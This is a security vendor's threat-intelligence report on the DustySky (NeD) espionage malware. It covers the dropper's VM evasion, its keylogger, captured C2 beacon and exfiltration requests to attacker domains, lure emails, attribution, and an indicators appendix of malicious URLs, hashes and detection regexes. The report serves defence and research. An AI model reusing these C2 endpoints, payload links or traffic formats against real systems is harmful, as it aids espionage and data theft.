For example: Below are the encoded strings from the above image, decoded and translated: Base64 string Decoded  English translation 2YXYrtin2KjYsdin2Ko  Telecommunication 2KjYp9iz2KjZiNix2K/Yp9iq  Password Y3YuZG9j cv.doc cv.doc 157Xktei15nXnQ  Contacts 2LPZitix2Kkg2LDYp9iq2YrYqQ    Resume cGFzc3dvcmRz Passwords Passwords 16HXmdeh157XkNeV16o  Passwords INeR15nXmNeX15XXnyDXpNeg15nXnQ    Homeland security d29ybQ worm worm bXljZXJ0 mycert mycert LnBmeA .pfx .pfx 10 http://securityxploded.com/browser-password-dump.php http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 11 of 42 These words teach us what the attackers are after: personal documents credentials, certificates and private keys information pertaining to homeland security.
Abusing breached email account In one case, the attackers used stolen email credentials and logged in from 96.44.156.201, potentially their proxy or VPN endpoint.
They also logged in from 5.101.140.118 , an IP address that belongs to a proxy service called privatetunnel.com (in previous incidents, emails were sent from a nearby address - 5.101.140.114).
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 12 of 42 Malware analysis DustySky (called NeD by its developer) is a multi-stage malware written in .NET.
This chapter reviews its functionality and main features.
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015.
It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component.
DustySky dropper The DustySky dropper tries to evade running in a virtual machine.
Once sure the computer is not a VM, it extracts, runs and adds persistency to DustySky Core.
It extracts basic information about the operating system and checks for the existence of an Antivirus.
It also extracts and opens the lure document.
The droppers resources are two components that are dropped at run time.
One is the lure document (internally called news), which is presented to the victim once the dropper is executed.
The other is DustySky Core, a Trojan backdoor, (internally called log).
The dropper uses the following function to obfuscate the name of functions and other parts of the malware (In later versions, SmartAssembly 6.9.0.114 .NET obfuscator was used): So, for example, the following string: Is encoded as: For VM evasion the dropper checks whether there is a DLL that indicate that the malware is running in a virtual machine (vboxmrxnp.dll and vmbusres.dll which indicate vitualbox and vmGuestlib.dll which indicates vmware).
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 13 of 42 If the dropper is indeed running in a virtual machine, it will open the lure document and stop its activity: The dropper uses Windows Management Instrumentation11 to extract information about the operating system and whether an antivirus is active.
DustySky Core is dropped to TEMP and runs using either cmd or the .NET interface.
11 https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx http://clearskysec.com/ https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx https://msdn.microsoft.com/en-us/library/aa394582(vvs.85).aspx ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 14 of 42 A registry entry is created for persistency after computer restart: DustySky core DustySky Core is a Trojan backdoor and the main component of the malware.
It communicates with the command and control server, exfiltrates collected data, information and files, and receives and executes commands.
It has the following capabilities: Collecting information about the OS version, running processes and installed software.
Searching for removable media and network drives, and duplicating itself into them.
Extracting other components (such as the keylogging component) or receiving them from the command and control server, and running or removing them.
Evading virtual machines.
Turning the computer off or restarting it.
Making sure only a single instance of the malware is running.
The keylogging log file is uploaded to the server every 50 seconds.
The files are uploaded via a POST request to a URL that ends with key.php.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 15 of 42 DustySky keylogging component One of the components contained in DustySky core is a keylogger (for example 15be036680c41f97dfac9201a7c51cfc).
When ordered by the command and control server, the keylogger is extracted and executed.
Keylogging logs are saved to TEMP\temps .
pdb analysis pdb strings in DustySky sample were structured as follows: b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb strings from 23 samples are presented in Appendix B - Indicators.
In the table below we present a breakdown of folders and file names comprising the pdb strings, to reflect the ongoing development cycle of DustySky since its first release in May 2015.
name filename date version campaign  c2 NeD Download and execute Version 1 - Doc News.pdb 2015-07-15 5 meshal NeD Download and execute Version 1 - Doc News.pdb 2015-08-18 501P Fixed Dov NeD Download and execute Version 1 - Doc News.pdb 2015-10-27 704 NSR ND 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-11-04 704 SPY 192.52.167.235 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Download and execute Version 1 - Doc News.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-10-21 703 Random 192.161.48.59 NeD Worm MusicLogs.pdb 2015-10-27 704 NSR ND 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-03 704 Stay 107.191.47.42 NeD Worm MusicLogs.pdb 2015-11-04 704 SPY 192.52.167.235 NeD Worm MusicLogs.pdb 2015-11-08 704 mossad Track 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-12 8SSl GOV 192.161.48.59 NeD Worm MusicLogs.pdb 2015-11-14 8SSl Socks 167.160.36.14 NeD Worm MusicLogs.pdb 2015-11-17 8 PRI 172.245.30.30 NeD Worm MusicLogs.pdb 2015-12-27 9 Rand 192.169.6.199 NeD Worm MusicLogs.pdb 2015-12-29 8 Stay jan  107.191.47.42 NeD Worm Music Synchronization.pdb 2015-08-08 5P USA  Europe Random NeD Worm Music Synchronization.pdb 2015-08-08 5P baker NeD Worm Music Synchronization.pdb 2015-08-10 5P Fixed NeD Worm Version 1 (2015-05-15) log file.pdb 2015-05-14 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 NeDKeY ver 1 Internet.pdb 2015-07-04 1 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 16 of 42 Command and control communication Traffic examples Following are samples of communication with the command and control server (identifiers have been altered).
DustySky has two hardcoded domains of command and control servers.
It starts by checking if the first one is alive by sending a GET request to TEST.php or index.php, expecting OK as response.
If it does not receive an OK, it will try a second domain.
For example, this is an Initial GET request to index.php: GET /index.php HTTP/1.1 Host: facetoo.co].
[vu Connection: Keep-Alive Server reply: HTTP/1.1 200 OK Date: Sun, 06 Sep 2015 19:52:49 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 2 Connection: close Content-Type: text/html charsetUTF-8 OK Next, a GET request is sent with information about the infected computer as Base64 parameters: GET /IOS.php?Pn9TbmRvd3KTxpbmRvd3icj4frGRRmFjZUJvb2soSU9TKTxicj4gMjAxNS 0wOC0yNAcomIDxicj4gIDxicj4gID386578203222222738119472812481673914678 oTWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwghoZmFjZXRvby5jby52dQ avv501P HTTP/1.1 User-Agent: 386578203222222738119472812481673914678 Host: facetoo.co].
[vu Another example of a URL in the GET request: http://ra.goaglesmtp.co.vu/NSR.php?PnMWw1bEoxVDJqQiB8IFBTUFVCV1MfrGR REFGQksoTlNSKTxicj4gMjAxNS0xMS0wNAcomIDxicj4gIDxicj4gID133279209241 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 17 of 42 34561851231757518321517760252DAFBKoTWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFB yZW1pdW0ghocmEuZ29hZ2xlc210cC5jby52dQavv704 Parameters Parameter Structure and meaning Pn computer name  user name GR hardcoded campaign identifier in the form of token1 (token2) br date for example: wikileaks (Ra) Br2015-06-11 or meshal(Music)Br2015-07-15br com br  br Never used.
ID identification number o operating system Ho host av Anti-virus name v  DustySky malware version The following regular expression matches the communication patterns: \/[A-Za-z]2,5\.php\?(?:(PnfrGRcomIDohoavv)[A-Za-z0-9\/]0,2?
)5,9 Stolen information sent to command and control as POST requests: POST /RaR.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: 1042541562231131292551331782259622162135190107BK Host: down.supportcom.xyz Content-Length: 109127 Expect: 100-continue keiVBORw0KGgoAAAANSUhEUgAAAyAAAAJYCAYAAACadoJwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjw v8YQUAAAAJcEh.... ID1042541562231131292551331782259622162135190107BK NScreen-2015-10-06_05-15-34-PM.png HTTP/1.1 100 Continue SSL and digital certificates Recently, command and control communication changed from HTTP to HTTPS.
The digital certificate used in the HTTPS traffic is either self-signed or uses a legitimate Comodo issued certificate.
The domain bulk-smtp[.
]xyz, which is owned by the attackers, uses the following digital certificate: Certificate: Data: Version: 3 (0x2) Serial Number: 35:e5:39:4c:58:e8:4d:f5:fa:9a:3c:25:21:12:01:19 Signature Algorithm: sha256WithRSAEncryption http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 18 of 42 Issuer: CGB, STGreater Manchester, LSalford, OCOMODO CA Limited, CNCOMODO RSA Domain Validation Secure Server CA Validity Not Before: Nov 25 00:00:00 2015 GMT Not After : Nov 24 23:59:59 2016 GMT Subject: OUDomain Control Validated, OUPositiveSSL, CNbulk-smtp.xyz Prior to using the Comodo issued certificate, the attackers used a self-signed certificate, impersonating a Tel- Aviv, Israel based company called EMS.
The organizational unity in the certificate is Email Markting Sales (note the misspelling of marketing).
Certificate: Data: Version: 3 (0x2) Serial Number: 13229300438499639338 (0xb797eaa82fb0c02a) Signature Algorithm: sha256WithRSAEncryption http://clearskysec.com/ http://bulk-smtp.xyz/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 19 of 42 Issuer: CIL, STIsrael - Telaviv, LTel Aviv, OEMS, OUEmail Markting Sales, CNemail-market.ml/emailAddressinfoemail-market.ml Validity Not Before: Nov 17 14:15:08 2015 GMT Not After : Nov 16 14:15:08 2016 GMT Subject: CIL, STIsrael - Telaviv, LTel Aviv, OEMS, OUEmail Markting Sales, CNemail-market.ml/emailAddressinfoemail-market.ml For another domain, smtp.gq, this self-signed certificate was used: Certificate: Data: Version: 1 (0x0) Serial Number: 12074485766838107425 (0xa79130d4e1e53d21) Signature Algorithm: sha1WithRSAEncryption Issuer: CIL, STTel Aviv, LTel Aviv, OBEM, OUBEM co., CNsmtp.gq /emailAddressinfosmtp.gq Validity Not Before: Nov 17 14:48:51 2015 GMT Not After : Dec 17 14:48:51 2015 GMT Subject: CIL, STTel Aviv, LTel Aviv, OBEM, OUBEM co., CNsmtp.gq /emailAddressinfosmtp.gq DustySky communication uses some or all of the following paths when communicating with its command and control server: Update.php conn.php geoiploc.php news.htm pass.php passho.php passyah.php http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 20 of 42 Infrastructure Using PassiveTotals attack analysis platform, we were able to visualize the last 6 months of data for key infrastructure used by the actors.
Its worth noting that all IP addresses have been active in the past several weeks with many of the domains resolving to them being a combination (green squares) of dynamic DNS providers (blue squares) and registered domains (brown squares).
These heatmaps allow us to identify interesting periods or changes in the infrastructure that may have been due to actors adjusting their tactics.
Reader: 192.161.48.59 In this graph, we can see the actors used a combination of dynamic DNS and registered domains up until December 23rd.
On that day, the actors seem to remove the registered domain and strictly use dynamic DNS.
Its unclear why this would occur, but its possible that the server changed functions in the attack or was no longer needed.
192.52.167.235 In this graph, the colors clearly segment activity that occurred.
The primary period of interest appears to be when both dynamic DNS and registered domains are in use.
This occurs from September 23rd to December 17th and has a number of days where new domains are associated to the IP address.
While not entirely known, this period could reflect the actors going live in their operation.
Based on emails sent and compilation dates, there were plenty of phishing campaigns going on during this period of time.
Its also worth noting that this IP address is no longer showing any content which could mean its been taken offline.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 21 of 42 167.160.36.14 In this graph, we see activity starting on September 9th being directed to a dynamic DNS provider.
Similar to Graph One, we can see an increase in domains around the November timeframe with a drop-off in December.
Again, not entirely clear, but November may have been a point where the attackers felt the need to diversify the domains they were using in attacks.
45.32.13.169 In this graph, the gray blocks indicate that no activity was captured for a majority of the time.
Starting November 9th, the actors introduced four unique, registered domains before then adding dynamic DNS providers.
Whats most interesting about this IP address is that the content for both dynamic DNS urls and registered domains lead to the same download page that hosts a Windows executable.
Its unclear why the attackers continue to use both, but the move from registered domains to also using dynamic DNS domains could suggest the actors are beginning to wise up.
The use of dynamic DNS infrastructure makes attribution and tracking more difficult as a dynamic DNS domain could be shared by unrelated parties.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 22 of 42 72.11.148.147 In this graph, we see the same lack of data until recent months and the use of both dynamic DNS and registered domains.
Given the recent activity and a large amount of domains being pointed at this IP address, its plausible that this server may be the most current of the actors.
In fact, it could be involved in on-going operations that we have seen into this year.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 23 of 42 Threat actor and Attribution We attribute the DustySky attacks, with medium-high certainty, to the same group that FireEye12 called Molerats and Kaspersky13 called Gaza cybergang.
Based on the following characteristics14.
Infrastructure overlap Indicator Used by  Also used for DustySky with 192.52.167.125 Gaza cybergang  f589827c4cf94662544066b80bfda6ab 0756357497c2cd7f41ed6a6d4403b395 84e5bb2e2a27e1dcb1857459f80ac920 192.161.48.59 Was pointed to by update.ciscofreak.com  used by Gaza cybergang 18ef043437a8817e94808aee887ade5c 3227cc9462ffdc5fa27ae75a62d6d0d9 fcecf4dc05d57c8ae356ab6cdaac88c2 9c60fadece6ea770e2c1814ac4b3ae74 dnsfor.dnsfor.me Gaza cybergang  7a91d9bcd02b955b363157f9a7853fd1 185.82.202.207 Was pointed to by dnsfor.dnsfor.me used by Gaza cybergang 7f5cb76ca3ba8df4cabceb3c1cd0c11e c8fa23c3787d9e6c9e203e48081a1984 6af77a2f844c3521a40a70f6034c5c4a Gaza Strip origins Only one sample  aa288a5cbf4c897ff02238e851875660  was uploaded to VirusTotal, shortly after it was compiled.
Less than a minute and a half elapsed between compilation on August 8th 2015 at 10:31:12 and the first VirusTotal submission at 10:32:24.
This sample was uploaded from Gaza.
The very short time frame between compilation and VirusTotal submission could indicate that the attacker is the one who has submitted the sample  in order to learn whether antivirus engines detect it.
12 https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 13 https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ 14 All attribution data in the table are taken from https://securelist.com/blog/research/72283/gaza-cybergang-wheres- your-ir-team/.
http://clearskysec.com/ https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 24 of 42 Email messages sent from Gaza Strip Some of the malicious email messages, for example those containing Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe and         .exe (Hamas unveiled a documentation of Gilad Shalit in captivity), were sent from 185.12.187.10515 and 31.223.186.7116 respectively.
Both IPs belong to internet provider CITYNET17, based in Gaza Strip.
Similar TTPs The attribution of this activity to the above mentioned group is also based on similarities in attack characteristics: Email subjects.
Content of lure documents.
Style and grammatical errors.
Impersonation of senders from government organizations, security forces and media outlets.
Impersonating legitimate software.
Target characteristics and overlap (i.e.
organizations that where targeted by Molerats are similarly targeted with DustySky) Individuals Recent samples had Last Saved By properties of the document point to a specific individual who we believe is one of the attackers.
In his Social media accounts this individual defines himself as a Software Engineer who lives in Gaza.
Public interactions on his YouTube page (such as videos he liked) are related to hacking tools and methods.
We have decided not to disclose this individuals name in the public report.
15 https://whois.domaintools.com/185.12.187.105 16 http://whois.domaintools.com/31.223.186.71 17 CITYNET  City Net Informatics, Internet and Communication Technologies and General Trade Ltd. (PS) http://clearskysec.com/ https://whois.domaintools.com/185.12.187.105 https://whois.domaintools.com/185.12.187.105 http://whois.domaintools.com/31.223.186.71 http://whois.domaintools.com/31.223.186.71 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 25 of 42 Appendix A - Malicious email messages and lures Below we present email and lure documents that were used in the campaign.
Saudi Arabia boosts security on Yemen border Greek coastguard appears to sink refugee boat.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 26 of 42 US delegation heading to Israel to discuss Iran terror funding eea2e86f06400f29a2eb0c40b5fc89a6 Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 27 of 42 ISIS leader raped the American captive The Truth About Your Sexual Peak , Dont worry Estimate position - the Gaza bombings.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 28 of 42 exe.
(
the reasons for lifting A-Sisis diplomatic immunity  and the possibility of his arrest in London) Google-Privacy.doc http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 29 of 42 Invoice details.doc f94dfd49142bdae4a525997e4c0b944c  (Highlights of matters attributed by Egypt to the leaks from the Saudi foreign service) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 30 of 42  (Translation: the real culprit behind the plane crash in Sinai, according to Russia)  )18reveals Israels nuclear secrets (The USA 18 The title includes a syntax error  omission of the accusative preposition .
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 31 of 42 - How to Defend Against Stabbing.exe Spy vs. Spy: Inside the Fraying U.S.-Israel Ties.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 32 of 42 exe.
(
The police is checking suspected delivery of secret documents to civilians by people close to Barak or Galant) 154b2f008d80bf954394cf9ccbcccfda 8752f07a83b6830049dd5e6744bb444c (Title: Before the eyes of their four children: Two parents assassinated in a shooting terror attack in Samaria) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 33 of 42 exe.
(
A list of terror organizations and Palestinian Militias) exe.
FBi (A former FBI agent: Ben Laden is still alive) http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 34 of 42 Appendix B - Indicators type indicator comments url support.markting- fac.tk/20151027/Update.php?idredactedtoken1VGVzdCtzbXRwKzgxNzgtoken2redactedC Click url spynews.otzo.com/20151104/Update.php?idredactedtoken1U3B5KzE3MzYtoken2redacted CClick url info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?idredactedt oken13DVXNhZW0rMTUwtoken2redactedC3DClic k url https://copy.com/s8w9tqqzVDaXIkcR/      .rar?download1 url http://support.markting-fac.tk/20151027/Update.php url http://singin.loginto.me/050915/redacted.php?idredactedtoken1bW9yaWFiKzk0Ng3D3D token2redactedCClick url http://sales-spy.ml/sales/details.zip url http://news.net-freaks.com/upex/Wor url http://news.net-freaks.com/De.php?idtasrebtoken1redactedtoken2redactedCClick url http://mailweb.otzo.com/HZ.php?PnUEMgfCBBZG1pbmlzdHJhdG9yfrGRTm92ZW1iZXIoSFopPGJ yPiAyMDE1LTExLTAzcomIDxicj4gIDxicj4gID54951921481121311311307520612119912657784HZ oTWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFshobWFpbHdlYi5vdHpvLmNvbQav v704 url http://info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id3DUsaem150token13DVXNhZW0rM TUwtoken23DZG92ZXIucGFkYW1AZ21haWwuY29tIA3D3DC3DClic k url http://ed3qy5yioryitoturysuiu.otzo.com/U/HeA-N-P url http://dnsfor.dnsfor.me/Attachments.rar url http://dfwsd.co.vu/open.php?idopenexetoken1b3BlbmV4ZQtoken2b3BlbmV4ZQCopenexe url http://cnaci8gyolttkgmguzog.ignorelist.com/B.php?PnUExBQ0VIT0wtNkY2OTlBIHwgQWRtaW5pc3Ry YXRvciAgfCAgSUQtUmFuZAID188507120521521921574709117922314512724517oTWljcm9zb 2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFsavHhttp://cnaci8gyolttkgmguzog.ignorelist.com url http://0arfx4grailorhvlicbj.servehumour.com/u/procexp url hr.goaglesmtp.co.vu/NSRDaf/Update.php?idredactedtoken1REFGKzcxNjUtoken2redacted CClick url drive.google.com/uc?exportdownloadid0ByjYVMTYJB0sazgwM3AwZ2h3T2s url copy.com/sr2T0SYaebYLGjNQ/Hot-Story.rar?download1 url copy.com/s8w9tqqzVDaXIkcR/    .rar?download1 url copy.com/NPe29ONMhE7qWMpv/Report.rar?download1 url copy.com/jYwMk6zWZzdUCuBr/Hot-Report26Photos.rar?download1 url copy.com/fC2na4YLrpbYDj6G/Secret_Report.rar?download1 url copy.com/bQPNqJRMjZpnKf4R/Attachments.rar?download1 url spynews.otzo.com/20151104/Details.zip url http://news20158.co.vu/index.php url http://directexe.com/788/Attachments.rar url http://dfwsd.co.vu/open.php previous campaign url https://copy.com/Tc6THzxjOL3zd1bL/Video.zip?download1 previous campaign sha1 f91948f456bf5510bdbb3a9245a5905324f7bbba sha1 945a90159bae5b128e3170cb9096ea7b233fce43 sender test0workyandex.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 35 of 42 sender sky0newsgmail.com sender Israeli Hot Stories infobulk-smtp.xyz sender innsniabgmail.com sender IDF Spokespersons Unit hendsawigmail.com sender ibnkhaldon9gmail.com sender IAI Media infonews.bulk-smtp.xyz sender Latest Israel news newssmtp.gq sender doron.eiliatgmail.com sender bulkmossad.gov.ilsupport-sales.tk Regular expression \/[A-Za-z]2,5\.php\?(?:(PnfrGRcomIDohoavv)[A-Za-z0-9\/]0,2?
)5,9 DustySky traffic Regular expression \/[A-Za-z]\.php\?((?:idtoken1token2C)[A-Za-z0-9\/]0,2?
)4 DustySky delivery pdb i:\World\sfx\2015-08-10 NeD ver 5P Fixed\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb i:\World\sfx\2015-08-08 NeD ver 5P USA  Europe Random\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb i:\World\sfx\2015-08-08 NeD ver 5P baker\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdb H:\SSD\C\Wor -1 - 2015-05-14\NeD Worm Version 1 (2015-05-15)\obj\x86\Debug\log file.pdb pdb g:\World\sfx\2015-07-15 NeD ver 5 - meshal\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb g:\World\sfx\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Debug\Internet.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdb b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9  Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdb b:\World\IL\Working Tools\2015-11-17 NeD Ver 8 PRI - 172.245.30.30\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-12 NeD Ver 8SSl GOV - 192.161.48.59\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-08 NeD Ver 704 mossad Track - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-11-03 NeD Ver 704 Stay - 107.191.47.42\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-10-21 NeD Ver 703 Random Face - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdb C:\Users\-\Desktop\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdb b:\World\IL\Working Tools\2015-11-14 NeD Ver 8SSl Socks - 167.160.36.14 - https\NeD Worm\obj\x86\Release\MusicLogs.pdb pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdb E:\AANewIst2015\Downloader\2015-08-18 NeD ver 501P Fixed - Dov\2015-08-18 NeD ver 501P Fixed - Dov\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb http://clearskysec.com/ mailto:hendsawigmail.com ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 36 of 42 pdb b:\World-2015\IL\Working Tools\2015-12-29 NeD Ver 8 Stay jan  107.191.47.42\NeD Worm\obj\x86\Release\MusicLogs.pdb Mutex NewFolder.exe Mutex New.exe Mutex Clean.exe Mutex 9F6F0AC4-89A1-45fd-A8CF-72F04E6BDE8F md5 fcecf4dc05d57c8ae356ab6cdaac88c2 md5 f6e8e1b239b66632fd77ac5edef7598d previous campaign md5 f589827c4cf94662544066b80bfda6ab md5 eea2e86f06400f29a2eb0c40b5fc89a6 md5 e9586b510a531fe53fec667c5c72d87b md5 e69bd8ab3d90feb4e3109791932e5b5e md5 e55bbc9ef77d2f3723c57ab9b6cfaa99 md5 e3f3fe28f04847f68d6bec2f45333fa7 md5 ddb6093c21410c236b3658d77362de25 md5 dd9dcf27e01d354dbae75c1042a691ef md5 d23b206a20199f5a016292500d48d3d2 md5 c75c58b9e164cc84526debfa01c7e4b9 md5 bf5d9726203e9ca58efb52e4a4990328 md5 bee2f490ec2cd30edaea0cb1712f4ed4 md5 bbd0136a96fec93fc173a830fd9f0fc0 md5 baff12450544ac476e5e7a3cbdeb98b5 md5 bab02ab7b7aa23efcab02e4576311246 md5 b1071ab4c3ef255c6ec95628744cfd3d md5 aa541499a7dbbcb9cd522ccde69f59e6 md5 aa288a5cbf4c897ff02238e851875660 md5 aa1f329a8cfdaf79c3961126a0d356fe md5 a79c170410658eac31449b5dba7cc086 md5 a6aa53ce8dd5ffd7606ec7e943af41eb md5 9c60fadece6ea770e2c1814ac4b3ae74 md5 99ffe19cb57d538e6d2c20c2732e068c md5 96d2e0b16f42c0fd42189fd871b02b5e md5 96bf59cc724333ddbcf526be132b2526 md5 8cdb90b4e6c87a406093be9993102a46 md5 8bb2d2d1a6410c1b5b495befc6ae0945 md5 89125df531db67331a26c5064ab0be44 md5 8579d81c49fa88da8002163f6ada43e1 md5 84e5bb2e2a27e1dcb1857459f80ac920 md5 84687e72feade5f50135e5fc0e1696e3 md5 7f5cb76ca3ba8df4cabceb3c1cd0c11e md5 7a91d9bcd02b955b363157f9a7853fd1 md5 79d701e58c55062faf968490ad4865b0 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 37 of 42 md5 796a6062d236f530d50209a9066b594a md5 77d6e2068bb3367b1a46472b56063f10 md5 7450b92d96920283f441cb1cd39ab0c8 md5 6fd045ee7839fd4249aeda6ffd3e3b13 md5 6af77a2f844c3521a40a70f6034c5c4a md5 641a0dbdd6c12d69dc8325522aaa2552 md5 5f0f503246665231c5bb7e8a78c16838 md5 577ac4f43871a07fd9b63b8a75702765 md5 4e93b3aa8c823e85fdc2ebd3603cd6e9 md5 45e662b398ecd96efd1abc876be05cb3 md5 3f88ca258d89ff4bd6449492f4bd4af6 md5 3ee15c163fbf6c36076b44c6fd654db2 md5 38b505a8aa5b757f326e0a8fe032e192 md5 3227cc9462ffdc5fa27ae75a62d6d0d9 md5 286a1b5092f27b3e7e2f92e83398fcc2 md5 2606387a3dfb8bdc12beefacefc0354f md5 22ff99f039feb3c7ae524b6d487bbff7 md5 1dfb74794a0befb6bb5743fa4305c87b md5 1d9612a869ad929bd4dd16131ddb133a md5 18ef043437a8817e94808aee887ade5c md5 154b2f008d80bf954394cf9ccbcccfda md5 12fd3469bdc463a52c89da576aec857e md5 0d65b89215a0ecb18c1c86dc5ac839d0 md5 0b0d1924eff3e6e6ca9bcbe60a0451bf md5 0756357497c2cd7f41ed6a6d4403b395 md5 5c3595e60df4d871250301b0b0b19744 md5 59f50a346aae12cbd5c1dec0e88bbde4 md5 ffc183a5c86b1ce0bab7841bb5c9917f md5 bd07fd19b7598a0439b5cfd7d17ad9e6 md5 6dce847c27f5dd99261066093cb7b859 md5 a5c8bbacc9fce5cf72b6757658cf28f7 md5 ddd11518b1f62f2c91f2393f15f41dcd previous campaign md5 c8fa23c3787d9e6c9e203e48081a1984 previous campaign md5 c46a40de75089a869ec46dec1e34fe7b previous campaign md5 bd19da16986240323f78341d046c9336 previous campaign md5 5e0eb9309ef6c2e1b2b9be31ff30d008 previous campaign md5 5896908cf66fd924e534f8cdb7bec045 previous campaign md5 53f75e3d391e730a2972b4e2f7071c2e previous campaign md5 4731eb06a2e58a988684e62f523e7177 previous campaign http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
